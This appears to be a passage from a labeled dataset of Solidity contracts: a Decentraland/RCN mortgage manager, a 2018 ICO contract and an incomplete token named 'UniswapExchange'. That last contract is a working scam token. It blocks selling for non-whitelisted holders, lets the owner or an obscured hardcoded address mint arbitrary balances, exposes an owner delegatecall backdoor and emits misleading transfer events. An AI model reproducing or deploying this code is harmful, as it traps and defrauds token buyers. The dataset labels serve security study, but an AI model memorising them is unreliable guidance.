using SafeMath for uint256;
uint256 private _count;
mapping(uint256 => address) private _holderOf;
mapping(address => uint256[]) private _assetsOf;
mapping(address => mapping(address => bool)) private _operators;
mapping(uint256 => address) private _approval;
mapping(uint256 => uint256) private _indexOfAsset;
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function totalSupply() external view returns (uint256) {
return _totalSupply();
}
function _totalSupply() internal view returns (uint256) {
return _count;
}
function ownerOf(uint256 assetId) external view returns (address) {
return _ownerOf(assetId);
}
function _ownerOf(uint256 assetId) internal view returns (address) {
return _holderOf[assetId];
}
function balanceOf(address owner) external view returns (uint256) {
return _balanceOf(owner);
}
function _balanceOf(address owner) internal view returns (uint256) {
return _assetsOf[owner].length;
}
function isApprovedForAll(address operator, address assetHolder)
external view returns (bool)
{
return _isApprovedForAll(operator, assetHolder);
}
function _isApprovedForAll(address operator, address assetHolder)
internal view returns (bool)
{
return _operators[assetHolder][operator];
}
function getApprovedAddress(uint256 assetId) external view returns (address) {
return _getApprovedAddress(assetId);
}
function _getApprovedAddress(uint256 assetId) internal view returns (address) {
return _approval[assetId];
}
function isAuthorized(address operator, uint256 assetId) external view returns (bool) {
return _isAuthorized(operator, assetId);
}
function _isAuthorized(address operator, uint256 assetId) internal view returns (bool)
{
require(operator != 0, "Operator can't be 0");
address owner = _ownerOf(assetId);
if (operator == owner) {
return true;
}
return _isApprovedForAll(operator, owner) || _getApprovedAddress(assetId) == operator;
}
function setApprovalForAll(address operator, bool authorized) external {
return _setApprovalForAll(operator, authorized);
}
function _setApprovalForAll(address operator, bool authorized) internal {
if (authorized) {
_addAuthorization(operator, msg.sender);
} else {
_clearAuthorization(operator, msg.sender);
}
emit ApprovalForAll(operator, msg.sender, authorized);
}
function approve(address operator, uint256 assetId) external {
address holder = _ownerOf(assetId);
require(msg.sender == holder || _isApprovedForAll(msg.sender, holder));
require(operator != holder);
if (_getApprovedAddress(assetId) != operator) {
_approval[assetId] = operator;
emit Approval(holder, operator, assetId);
}
}
function _addAuthorization(address operator, address holder) private {
_operators[holder][operator] = true;
}
function _clearAuthorization(address operator, address holder) private {
_operators[holder][operator] = false;
}
function _addAssetTo(address to, uint256 assetId) internal {
_holderOf[assetId] = to;
uint256 length = _balanceOf(to);
_assetsOf[to].push(assetId);
_indexOfAsset[assetId] = length;
_count = _count.add(1);
}
function _removeAssetFrom(address from, uint256 assetId) internal {
uint256 assetIndex = _indexOfAsset[assetId];
uint256 lastAssetIndex = _balanceOf(from).sub(1);
uint256 lastAssetId = _assetsOf[from][lastAssetIndex];
_holderOf[assetId] = 0;
_assetsOf[from][assetIndex] = lastAssetId;
_assetsOf[from][lastAssetIndex] = 0;
_assetsOf[from].length--;
if (_assetsOf[from].length == 0) {
delete _assetsOf[from];
}
_indexOfAsset[assetId] = 0;
_indexOfAsset[lastAssetId] = assetIndex;
_count = _count.sub(1);
}
function _clearApproval(address holder, uint256 assetId) internal {
if (_ownerOf(assetId) == holder && _approval[assetId] != 0) {
_approval[assetId] = 0;
emit Approval(holder, 0, assetId);
}
}
function _generate(uint256 assetId, address beneficiary) internal {
require(_holderOf[assetId] == 0);
_addAssetTo(beneficiary, assetId);
emit Transfer(0x0, beneficiary, assetId);
}
function _destroy(uint256 assetId) internal {
address holder = _holderOf[assetId];
require(holder != 0);
_removeAssetFrom(holder, assetId);
emit Transfer(holder, 0x0, assetId);
}
modifier onlyHolder(uint256 assetId) {
require(_ownerOf(assetId) == msg.sender, "Not holder");
_;
}
modifier onlyAuthorized(uint256 assetId) {
require(_isAuthorized(msg.sender, assetId), "Not authorized");
_;
}
modifier isCurrentOwner(address from, uint256 assetId) {
require(_ownerOf(assetId) == from, "Not current owner");
_;
}
function safeTransferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, "", true);
}
function safeTransferFrom(address from, address to, uint256 assetId, bytes userData) external {
return _doTransferFrom(from, to, assetId, userData, true);
}
function transferFrom(address from, address to, uint256 assetId) external {
return _doTransferFrom(from, to, assetId, "", false);
}
function _doTransferFrom(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
onlyAuthorized(assetId)
internal
{
_moveToken(from, to, assetId, userData, doCheck);
}
function _moveToken(
address from,
address to,
uint256 assetId,
bytes userData,
bool doCheck
)
isCurrentOwner(from, assetId)
internal
{
address holder = _holderOf[assetId];
_removeAssetFrom(holder, assetId);
_clearApproval(holder, assetId);
_addAssetTo(to, assetId);
if (doCheck && _isContract(to)) {
bytes4 ERC721_RECEIVED = bytes4(0xf0b9e5ba);
require(
IERC721Receiver(to).onERC721Received(
holder, assetId, userData
) == ERC721_RECEIVED
, "Contract onERC721Received failed");
}
emit Transfer(holder, to, assetId);
}
function supportsInterface(bytes4 _interfaceID) external pure returns (bool) {
if (_interfaceID == 0xffffffff) {
return false;
}
return _interfaceID == 0x01ffc9a7 || _interfaceID == 0x80ac58cd;
}
function _isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract LandMarket {
struct Auction {
bytes32 id;
address seller;
uint256 price;
uint256 expiresAt;
}
mapping (uint256 => Auction) public auctionByAssetId;
function executeOrder(uint256 assetId, uint256 price) public;
}
contract Land {
function updateLandData(int x, int y, string data) public;
function decodeTokenId(uint value) view public returns (int, int);
function safeTransferFrom(address from, address to, uint256 assetId) public;
function ownerOf(uint256 landID) public view returns (address);
}
contract MortgageManager is Cosigner, ERC721Base, SafeWithdraw, BytesUtils {
using SafeMath for uint256;
uint256 constant internal PRECISION = (10**18);
uint256 constant internal RCN_DECIMALS = 18;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
uint256 public constant REQUIRED_ALLOWANCE = 1000000000 * 10**18;
function name() public pure returns (string _name) {
_name = "Decentraland RCN Mortgage";
}
function symbol() public pure returns (string _symbol) {
_symbol = "LAND-RCN-Mortgage";
}
event RequestedMortgage(uint256 _id, address _borrower, address _engine, uint256 _loanId, uint256 _landId, uint256 _deposit, address _tokenConverter);
event StartedMortgage(uint256 _id);
event CanceledMortgage(address _from, uint256 _id);
event PaidMortgage(address _from, uint256 _id);
event DefaultedMortgage(uint256 _id);
event UpdatedLandData(address _updater, uint256 _parcel, string _data);
event SetCreator(address _creator, bool _status);
Token public rcn;
Token public mana;
Land public land;
LandMarket public landMarket;
constructor(Token _rcn, Token _mana, Land _land, LandMarket _landMarket) public {
rcn = _rcn;
mana = _mana;
land = _land;
landMarket = _landMarket;
mortgages.length++;
}
enum Status { Pending, Ongoing, Canceled, Paid, Defaulted }
struct Mortgage {
address owner;
Engine engine;
uint256 loanId;
uint256 deposit;
uint256 landId;
uint256 landCost;
Status status;
TokenConverter tokenConverter;
}
uint256 internal flagReceiveLand;
Mortgage[] public mortgages;
mapping(address => bool) public creators;
mapping(uint256 => uint256) public mortgageByLandId;
mapping(address => mapping(uint256 => uint256)) public loanToLiability;
function url() external view returns (string) {
return "";
}
function setCreator(address creator, bool authorized) external onlyOwner returns (bool) {
emit SetCreator(creator, authorized);
creators[creator] = authorized;
return true;
}
function cost(address, uint256, bytes, bytes) external view returns (uint256) {
return 0;
}
function requestMortgage(
Engine engine,
bytes32 loanIdentifier,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) external returns (uint256 id) {
return requestMortgageId(engine, engine.identifierToIndex(loanIdentifier), deposit, landId, tokenConverter);
}
function requestMortgageId(
Engine engine,
uint256 loanId,
uint256 deposit,
uint256 landId,
TokenConverter tokenConverter
) public returns (uint256 id) {
require(engine.getCurrency(loanId) == MANA_CURRENCY, "Loan currency is not MANA");
address borrower = engine.getBorrower(loanId);
require(engine.getStatus(loanId) == Engine.Status.initial, "Loan status is not inital");
require(msg.sender == engine.getBorrower(loanId) ||
(msg.sender == engine.getCreator(loanId) && creators[msg.sender]),
"Creator should be borrower or authorized");
require(engine.isApproved(loanId), "Loan is not approved");
require(rcn.allowance(borrower, this) >= REQUIRED_ALLOWANCE, "Manager cannot handle borrower's funds");
require(tokenConverter != address(0), "Token converter not defined");
require(loanToLiability[engine][loanId] == 0, "Liability for loan already exists");
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 loanAmount = engine.getAmount(loanId);
require((loanAmount + deposit) >= ((landCost / 10) * 11), "Not enought total amount");
require(mana.transferFrom(msg.sender, this, deposit), "Error pulling mana");
id = mortgages.push(Mortgage({
owner: borrower,
engine: engine,
loanId: loanId,
deposit: deposit,
landId: landId,
landCost: landCost,
status: Status.Pending,
tokenConverter: tokenConverter
})) - 1;
loanToLiability[engine][loanId] = id;
emit RequestedMortgage({
_id: id,
_borrower: borrower,
_engine: engine,
_loanId: loanId,
_landId: landId,
_deposit: deposit,
_tokenConverter: tokenConverter
});
}
function cancelMortgage(uint256 id) external returns (bool) {
Mortgage storage mortgage = mortgages[id];
require(msg.sender == mortgage.owner, "Only the owner can cancel the mortgage");
require(mortgage.status == Status.Pending, "The mortgage is not pending");
mortgage.status = Status.Canceled;
require(mana.transfer(msg.sender, mortgage.deposit), "Error returning MANA");
emit CanceledMortgage(msg.sender, id);
return true;
}
function requestCosign(Engine engine, uint256 index, bytes data, bytes oracleData) public returns (bool) {
Mortgage storage mortgage = mortgages[uint256(readBytes32(data, 0))];
require(mortgage.engine == engine, "Engine does not match");
require(mortgage.loanId == index, "Loan id does not match");
require(mortgage.status == Status.Pending, "Mortgage is not pending");
mortgage.status = Status.Ongoing;
_generate(uint256(readBytes32(data, 0)), mortgage.owner);
uint256 loanAmount = convertRate(engine.getOracle(index), engine.getCurrency(index), oracleData, engine.getAmount(index));
require(rcn.transferFrom(mortgage.owner, this, loanAmount), "Error pulling RCN from borrower");
uint256 boughtMana = convertSafe(mortgage.tokenConverter, rcn, mana, loanAmount);
delete mortgage.tokenConverter;
uint256 currentLandCost;
(, , currentLandCost, ) = landMarket.auctionByAssetId(mortgage.landId);
require(currentLandCost <= mortgage.landCost, "Parcel is more expensive than expected");
require(mana.approve(landMarket, currentLandCost));
flagReceiveLand = mortgage.landId;
landMarket.executeOrder(mortgage.landId, currentLandCost);
require(mana.approve(landMarket, 0));
require(flagReceiveLand == 0, "ERC721 callback not called");
require(land.ownerOf(mortgage.landId) == address(this), "Error buying parcel");
uint256 totalMana = boughtMana.add(mortgage.deposit);
require(mana.transfer(mortgage.owner, totalMana.sub(currentLandCost)), "Error returning MANA");
require(mortgage.engine.cosign(index, 0), "Error performing cosign");
mortgageByLandId[mortgage.landId] = uint256(readBytes32(data, 0));
emit StartedMortgage(uint256(readBytes32(data, 0)));
return true;
}
function convertSafe(
TokenConverter converter,
Token from,
Token to,
uint256 amount
) internal returns (uint256 bought) {
require(from.approve(converter, amount));
uint256 prevBalance = to.balanceOf(this);
bought = converter.convert(from, to, amount, 1);
require(to.balanceOf(this).sub(prevBalance) >= bought, "Bought amount incorrect");
require(from.approve(converter, 0));
}
function claim(address engine, uint256 loanId, bytes) external returns (bool) {
uint256 mortgageId = loanToLiability[engine][loanId];
Mortgage storage mortgage = mortgages[mortgageId];
require(mortgage.status == Status.Ongoing, "Mortgage not ongoing");
require(mortgage.loanId == loanId, "Mortgage don't match loan id");
if (mortgage.engine.getStatus(loanId) == Engine.Status.paid || mortgage.engine.getStatus(loanId) == Engine.Status.destroyed) {
require(_isAuthorized(msg.sender, mortgageId), "Sender not authorized");
mortgage.status = Status.Paid;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit PaidMortgage(msg.sender, mortgageId);
} else if (isDefaulted(mortgage.engine, loanId)) {
require(msg.sender == mortgage.engine.ownerOf(loanId), "Sender not lender");
mortgage.status = Status.Defaulted;
land.safeTransferFrom(this, msg.sender, mortgage.landId);
emit DefaultedMortgage(mortgageId);
} else {
revert("Mortgage not defaulted/paid");
}
_destroy(mortgageId);
delete mortgageByLandId[mortgage.landId];
return true;
}
function isDefaulted(Engine engine, uint256 index) public view returns (bool) {
return engine.getStatus(index) == Engine.Status.lent &&
engine.getDueTime(index).add(7 days) <= block.timestamp;
}
function onERC721Received(uint256 _tokenId, address, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function onERC721Received(address, uint256 _tokenId, bytes) external returns (bytes4) {
if (msg.sender == address(land) && flagReceiveLand == _tokenId) {
flagReceiveLand = 0;
return bytes4(keccak256("onERC721Received(address,uint256,bytes)"));
}
}
function getData(uint256 id) public pure returns (bytes o) {
assembly {
o := mload(0x40)
mstore(0x40, add(o, and(add(add(32, 0x20), 0x1f), not(0x1f))))
mstore(o, 32)
mstore(add(o, 32), id)
}
}
function updateLandData(uint256 id, string data) external returns (bool) {
Mortgage memory mortgage = mortgages[id];
require(_isAuthorized(msg.sender, id), "Sender not authorized");
int256 x;
int256 y;
(x, y) = land.decodeTokenId(mortgage.landId);
land.updateLandData(x, y, data);
emit UpdatedLandData(msg.sender, id, data);
return true;
}
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) internal returns (uint256) {
if (oracle == address(0)) {
return amount;
} else {
uint256 rate;
uint256 decimals;
(rate, decimals) = oracle.getRate(currency, data);
require(decimals <= RCN_DECIMALS, "Decimals exceeds max decimals");
return (amount.mult(rate).mult((10**(RCN_DECIMALS-decimals)))) / PRECISION;
}
}
}
interface NanoLoanEngine {
function createLoan(address _oracleContract, address _borrower, bytes32 _currency, uint256 _amount, uint256 _interestRate,
uint256 _interestRatePunitory, uint256 _duesIn, uint256 _cancelableAt, uint256 _expirationRequest, string _metadata) public returns (uint256);
function getIdentifier(uint256 index) public view returns (bytes32);
function registerApprove(bytes32 identifier, uint8 v, bytes32 r, bytes32 s) public returns (bool);
function pay(uint index, uint256 _amount, address _from, bytes oracleData) public returns (bool);
function rcn() public view returns (Token);
function getOracle(uint256 index) public view returns (Oracle);
function getAmount(uint256 index) public view returns (uint256);
function getCurrency(uint256 index) public view returns (bytes32);
function convertRate(Oracle oracle, bytes32 currency, bytes data, uint256 amount) public view returns (uint256);
function lend(uint index, bytes oracleData, Cosigner cosigner, bytes cosignerData) public returns (bool);
function transfer(address to, uint256 index) public returns (bool);
}
contract MortgageHelper is Ownable {
using SafeMath for uint256;
MortgageManager public mortgageManager;
NanoLoanEngine public nanoLoanEngine;
Token public rcn;
Token public mana;
LandMarket public landMarket;
TokenConverter public tokenConverter;
address public converterRamp;
address public manaOracle;
uint256 public requiredTotal = 110;
uint256 public rebuyThreshold = 0.001 ether;
uint256 public marginSpend = 100;
uint256 public maxSpend = 100;
bytes32 public constant MANA_CURRENCY = 0x4d414e4100000000000000000000000000000000000000000000000000000000;
event NewMortgage(address borrower, uint256 loanId, uint256 landId, uint256 mortgageId);
event PaidLoan(address engine, uint256 loanId, uint256 amount);
event SetConverterRamp(address _prev, address _new);
event SetTokenConverter(address _prev, address _new);
event SetRebuyThreshold(uint256 _prev, uint256 _new);
event SetMarginSpend(uint256 _prev, uint256 _new);
event SetMaxSpend(uint256 _prev, uint256 _new);
event SetRequiredTotal(uint256 _prev, uint256 _new);
constructor(
MortgageManager _mortgageManager,
NanoLoanEngine _nanoLoanEngine,
Token _rcn,
Token _mana,
LandMarket _landMarket,
address _manaOracle,
TokenConverter _tokenConverter,
address _converterRamp
) public {
mortgageManager = _mortgageManager;
nanoLoanEngine = _nanoLoanEngine;
rcn = _rcn;
mana = _mana;
landMarket = _landMarket;
manaOracle = _manaOracle;
tokenConverter = _tokenConverter;
converterRamp = _converterRamp;
emit SetConverterRamp(converterRamp, _converterRamp);
emit SetTokenConverter(tokenConverter, _tokenConverter);
}
function createLoan(uint256[6] memory params, string metadata) internal returns (uint256) {
return nanoLoanEngine.createLoan(
manaOracle,
msg.sender,
MANA_CURRENCY,
params[0],
params[1],
params[2],
params[3],
params[4],
params[5],
metadata
);
}
function setMaxSpend(uint256 _maxSpend) external onlyOwner returns (bool) {
emit SetMaxSpend(maxSpend, _maxSpend);
maxSpend = _maxSpend;
return true;
}
function setRequiredTotal(uint256 _requiredTotal) external onlyOwner returns (bool) {
emit SetRequiredTotal(requiredTotal, _requiredTotal);
requiredTotal = _requiredTotal;
return true;
}
function setConverterRamp(address _converterRamp) external onlyOwner returns (bool) {
emit SetConverterRamp(converterRamp, _converterRamp);
converterRamp = _converterRamp;
return true;
}
function setRebuyThreshold(uint256 _rebuyThreshold) external onlyOwner returns (bool) {
emit SetRebuyThreshold(rebuyThreshold, _rebuyThreshold);
rebuyThreshold = _rebuyThreshold;
return true;
}
function setMarginSpend(uint256 _marginSpend) external onlyOwner returns (bool) {
emit SetMarginSpend(marginSpend, _marginSpend);
marginSpend = _marginSpend;
return true;
}
function setTokenConverter(TokenConverter _tokenConverter) external onlyOwner returns (bool) {
emit SetTokenConverter(tokenConverter, _tokenConverter);
tokenConverter = _tokenConverter;
return true;
}
function requestMortgage(
uint256[6] loanParams,
string metadata,
uint256 landId,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256) {
uint256 loanId = createLoan(loanParams, metadata);
require(nanoLoanEngine.registerApprove(nanoLoanEngine.getIdentifier(loanId), v, r, s), "Signature not valid");
uint256 landCost;
(, , landCost, ) = landMarket.auctionByAssetId(landId);
uint256 requiredDeposit = ((landCost * requiredTotal) / 100) - nanoLoanEngine.getAmount(loanId);
require(mana.transferFrom(msg.sender, this, requiredDeposit), "Error pulling MANA");
require(mana.approve(mortgageManager, requiredDeposit));
uint256 mortgageId = mortgageManager.requestMortgageId(Engine(nanoLoanEngine), loanId, requiredDeposit, landId, tokenConverter);
emit NewMortgage(msg.sender, loanId, landId, mortgageId);
return mortgageId;
}
function pay(address engine, uint256 loan, uint256 amount) external returns (bool) {
emit PaidLoan(engine, loan, amount);
bytes32[4] memory loanParams = [
bytes32(engine),
bytes32(loan),
bytes32(amount),
bytes32(msg.sender)
];
uint256[3] memory converterParams = [
marginSpend,
amount.mult(uint256(100000).add(maxSpend)) / 100000,
rebuyThreshold
];
require(address(converterRamp).delegatecall(
bytes4(0x86ee863d),
address(tokenConverter),
address(mana),
loanParams,
0x140,
converterParams,
0x0
), "Error delegate pay call");
}
} | 0 | 83 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DateTime {
function toTimestamp(uint16 year, uint8 month, uint8 day) constant returns (uint timestamp);
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 value);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract ICO {
using SafeMath for uint256;
enum State {
ico,
Successful
}
State public state = State.ico;
uint256 public startTime = now;
uint256 public rate = 1250;
uint256 public totalRaised;
uint256 public totalDistributed;
uint256 public ICOdeadline;
uint256 public completedAt;
token public tokenReward;
address public creator;
string public version = '1';
DateTime dateTimeContract = DateTime(0x1a6184CD4C5Bea62B0116de7962EE7315B7bcBce);
event LogFundingReceived(address _addr, uint _amount, uint _currentTotal);
event LogBeneficiaryPaid(address _beneficiaryAddress);
event LogFundingSuccessful(uint _totalRaised);
event LogFunderInitialized(
address _creator,
uint256 _ICOdeadline);
event LogContributorsPayout(address _addr, uint _amount);
modifier notFinished() {
require(state != State.Successful);
_;
}
function ICO (token _addressOfTokenUsedAsReward ) public {
creator = msg.sender;
tokenReward = _addressOfTokenUsedAsReward;
ICOdeadline = dateTimeContract.toTimestamp(2018,5,15);
LogFunderInitialized(
creator,
ICOdeadline);
}
function contribute() public notFinished payable {
require(msg.value > (10**10));
uint256 tokenBought = 0;
totalRaised = totalRaised.add(msg.value);
tokenBought = msg.value.div(10 ** 10);
tokenBought = tokenBought.mul(rate);
if (now < dateTimeContract.toTimestamp(2018,2,15)){
tokenBought = tokenBought.mul(15);
tokenBought = tokenBought.div(10);
require(totalDistributed.add(tokenBought) <= 100000000 * (10 ** 8));
} else if (now < dateTimeContract.toTimestamp(2018,2,28)){
tokenBought = tokenBought.mul(14);
tokenBought = tokenBought.div(10);
} else if (now < dateTimeContract.toTimestamp(2018,3,15)){
tokenBought = tokenBought.mul(13);
tokenBought = tokenBought.div(10);
} else if (now < dateTimeContract.toTimestamp(2018,3,31)){
tokenBought = tokenBought.mul(12);
tokenBought = tokenBought.div(10);
} else if (now < dateTimeContract.toTimestamp(2018,4,30)){
tokenBought = tokenBought.mul(11);
tokenBought = tokenBought.div(10);
} else if (now < dateTimeContract.toTimestamp(2018,5,15)){
tokenBought = tokenBought.mul(105);
tokenBought = tokenBought.div(100);
}
totalDistributed = totalDistributed.add(tokenBought);
tokenReward.transfer(msg.sender, tokenBought);
LogFundingReceived(msg.sender, msg.value, totalRaised);
LogContributorsPayout(msg.sender, tokenBought);
checkIfFundingCompleteOrExpired();
}
function checkIfFundingCompleteOrExpired() public {
if(now > ICOdeadline && state!=State.Successful ) {
state = State.Successful;
completedAt = now;
LogFundingSuccessful(totalRaised);
finished();
}
}
function finished() public {
require(state == State.Successful);
uint256 remanent = tokenReward.balanceOf(this);
require(creator.send(this.balance));
tokenReward.transfer(creator,remanent);
LogBeneficiaryPaid(creator);
LogContributorsPayout(creator, remanent);
}
function () public payable {
contribute();
}
} | 1 | 3,728 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
